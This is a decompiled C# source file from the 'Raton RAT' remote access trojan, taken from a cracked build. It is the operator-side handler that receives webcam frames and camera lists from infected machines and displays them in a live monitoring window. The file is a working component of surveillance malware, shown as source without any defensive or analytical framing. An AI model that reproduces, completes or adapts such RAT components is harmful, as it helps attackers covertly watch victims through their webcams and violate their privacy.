raton4.0-source/Raton RAT/Server/Handlers/HandleWebcam.cs

// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleWebcam
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe

using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Windows.Forms;

#nullable disable
namespace Server.Handlers;

internal class HandleWebcam
{
  private Stopwatch stopwatch = new Stopwatch();

  public HandleWebcam(SillyClient SillyClient, Unpack unpack)
  {
    HandleWebcam handleWebcam = this;
    string uid = unpack.GetAsString("UID");
    string formPrefix = "Webcam | Client ID: " + uid;
    ratonWebcam webcamForm = (ratonWebcam) null;
    if (Application.OpenForms.Count > 0)
    {
      Form openForm = Application.OpenForms[0];
      if (openForm.InvokeRequired)
        openForm.Invoke((Delegate) (() => webcamForm = Application.OpenForms.OfType<ratonWebcam>().FirstOrDefault<ratonWebcam>((Func<ratonWebcam, bool>) (f => f.Text.StartsWith(formPrefix) && !f.IsDisposed))));
      else
        webcamForm = Application.OpenForms.OfType<ratonWebcam>().FirstOrDefault<ratonWebcam>((Func<ratonWebcam, bool>) (f => f.Text.StartsWith(formPrefix) && !f.IsDisposed));
    }
    if (webcamForm == null)
      return;
    if (webcamForm.SillyClient == null)
      webcamForm.SillyClient = SillyClient;
    switch (unpack.GetAsString("Command"))
    {
      case "Start":
        this.SafeInvoke((Control) webcamForm, (Action) (() =>
        {
          if (webcamForm.IsDisposed)
            return;
          handleWebcam.ProcessImage(unpack.GetAsByteArray("Image"), webcamForm, uid);
        }));
        break;
      case "List":
        this.SafeInvoke((Control) webcamForm, (Action) (() =>
        {
          if (webcamForm.IsDisposed)
            return;
          string asString = unpack.GetAsString("Cams");
          if (string.IsNullOrEmpty(asString))
            return;
          string[] items = asString.Split('|');
          if (items.Length != 0)
          {
            webcamForm.flatComboBox1.Items.Clear();
            webcamForm.flatComboBox1.Items.AddRange((object[]) items);
            webcamForm.flatComboBox1.SelectedIndex = 0;
          }
          else
          {
            webcamForm.flatComboBox1.Items.Clear();
            webcamForm.flatComboBox1.Items.Add((object) "No webcam detected");
            webcamForm.flatComboBox1.SelectedIndex = 0;
          }
        }));
        break;
    }
  }

  private void ProcessImage(byte[] imageBytes, ratonWebcam webcamForm, string uid)
  {
    try
    {
      if (imageBytes == null || webcamForm == null || webcamForm.IsDisposed || webcamForm.pctBoxWebcam == null || webcamForm.pctBoxWebcam.IsDisposed)
        return;
      Image imageFromBytes = this.GetImageFromBytes(imageBytes);
      if (imageFromBytes != null)
      {
        Image image = webcamForm.pctBoxWebcam.Image;
        webcamForm.pctBoxWebcam.Image = imageFromBytes;
        image?.Dispose();
      }
      ++webcamForm.FPS;
      if (webcamForm.sw.ElapsedMilliseconds < 1000L)
        return;
      webcamForm.Text = $"Webcam | Client ID: {uid} | FPS: {webcamForm.FPS}";
      webcamForm.FPS = 0;
      webcamForm.sw.Restart();
    }
    catch
    {
    }
  }

  private Image GetImageFromBytes(byte[] imageBytes)
  {
    try
    {
      using (MemoryStream memoryStream = new MemoryStream(imageBytes))
        return Image.FromStream((Stream) memoryStream);
    }
    catch
    {
      return (Image) null;
    }
  }

  private void SafeInvoke(Control control, Action action)
  {
    if (control == null)
      return;
    if (control.IsDisposed)
      return;
    try
    {
      if (control.InvokeRequired)
        control.BeginInvoke((Delegate) (() =>
        {
          if (control.IsDisposed)
            return;
          action();
        }));
      else
        action();
    }
    catch (ObjectDisposedException ex)
    {
    }
    catch (InvalidOperationException ex)
    {
    }
  }
}